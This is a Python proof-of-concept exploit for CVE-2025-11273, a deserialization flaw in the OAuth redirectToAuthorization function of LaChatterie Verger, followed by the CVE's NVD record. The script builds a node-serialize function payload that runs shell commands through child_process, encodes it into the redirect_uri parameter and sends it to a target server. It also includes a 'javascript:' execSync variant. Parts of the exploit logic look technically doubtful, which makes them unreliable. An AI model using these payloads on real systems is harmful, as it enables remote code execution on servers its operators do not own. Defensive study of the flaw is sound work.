CVE-2025-11273

# CVE-2025-11273 - LaChatterie Verger Deserialization PoC # Vulnerable function: redirectToAuthorization # File: /src/main/services/mcp/oauth/provider.ts import requests import urllib.parse import json import base64 TARGET_URL = "http://target-host:port/oauth/authorize" # Adjust to actual endpoint # Step 1: Craft a malicious serialized payload # In Node.js environments, serialized objects can be crafted using node-serialize or similar libraries class ExploitPayload: """Generate a malicious serialized payload for Node.js deserialization""" @staticmethod def generate_rce_payload(command): """Generate a Node.js deserialization RCE payload (IIFE pattern) The payload exploits the fact that when a serialized JavaScript object containing an Immediately Invoked Function Expression (IIFE) is deserialized, the function executes automatically. """ # node-serialize style payload payload = { "rce": f"_$$ND_FUNC$$_function (){{require('child_process').exec('{command}',function(error,stdout,stderr){{console.log(stdout)}});}}()" } return payload @staticmethod def generate_url_with_payload(target_url, command="id"): """Embed the malicious payload into the redirect_uri parameter""" payload = ExploitPayload.generate_rce_payload(command) serialized = json.dumps(payload) encoded = urllib.parse.quote(base64.b64encode(serialized.encode()).decode()) # Craft the malicious URL targeting redirectToAuthorization malicious_url = f"{target_url}?redirect_uri={encoded}&response_type=code&client_id=victim" return malicious_url def exploit(target_url, command="id"): """Execute the exploit against the vulnerable target""" print(f"[*] Targeting: {target_url}") print(f"[*] Command to execute: {command}") # Generate the malicious URL malicious_url = ExploitPayload.generate_url_with_payload(target_url, command) print(f"[*] Malicious URL generated") # Send the exploit request try: # The vulnerable function redirectToAuthorization processes this URL response = requests.get(malicious_url, timeout=10, allow_redirects=False) print(f"[*] Response status: {response.status_code}") print(f"[*] Response headers: {dict(response.headers)}") if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location', '') print(f"[*] Redirect location: {location}") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None # Alternative: Direct manipulation of the URL parameter # The vulnerability is in how redirectToAuthorization handles the URL argument # When deserializing the URL parameter, it may execute embedded code def direct_exploit(target_url): """Alternative exploit approach with direct URL manipulation""" # Malicious redirect_uri with embedded serialized JavaScript evil_redirect = "javascript:require('child_process').execSync('id')" encoded_redirect = urllib.parse.quote(evil_redirect) exploit_url = f"{target_url}?redirect_uri={encoded_redirect}" print(f"[*] Direct exploit URL: {exploit_url}") response = requests.get(exploit_url, timeout=10) return response if __name__ == "__main__": # Execute exploit target = "http://target-host:port/oauth/authorize" exploit(target, command="whoami") # direct_exploit(target)

{"cve": {"id": "CVE-2025-11273", "sourceIdentifier": "[email protected]", "published": "2025-10-04T23:15:40.047", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in LaChatterie Verger up to 1.2.10. This impacts the function redirectToAuthorization of the file /src/main/services/mcp/oauth/provider.ts. The manipulation of the argument URL results in deserialization. The attack can be executed remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://lavender-bicycle-a5a.notion.site/Verger-RCE-26153a41781f80b694beebc22ea54579?source=copy_link", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.327007", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.327007", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.655871", "source": "[email protected]"}]}}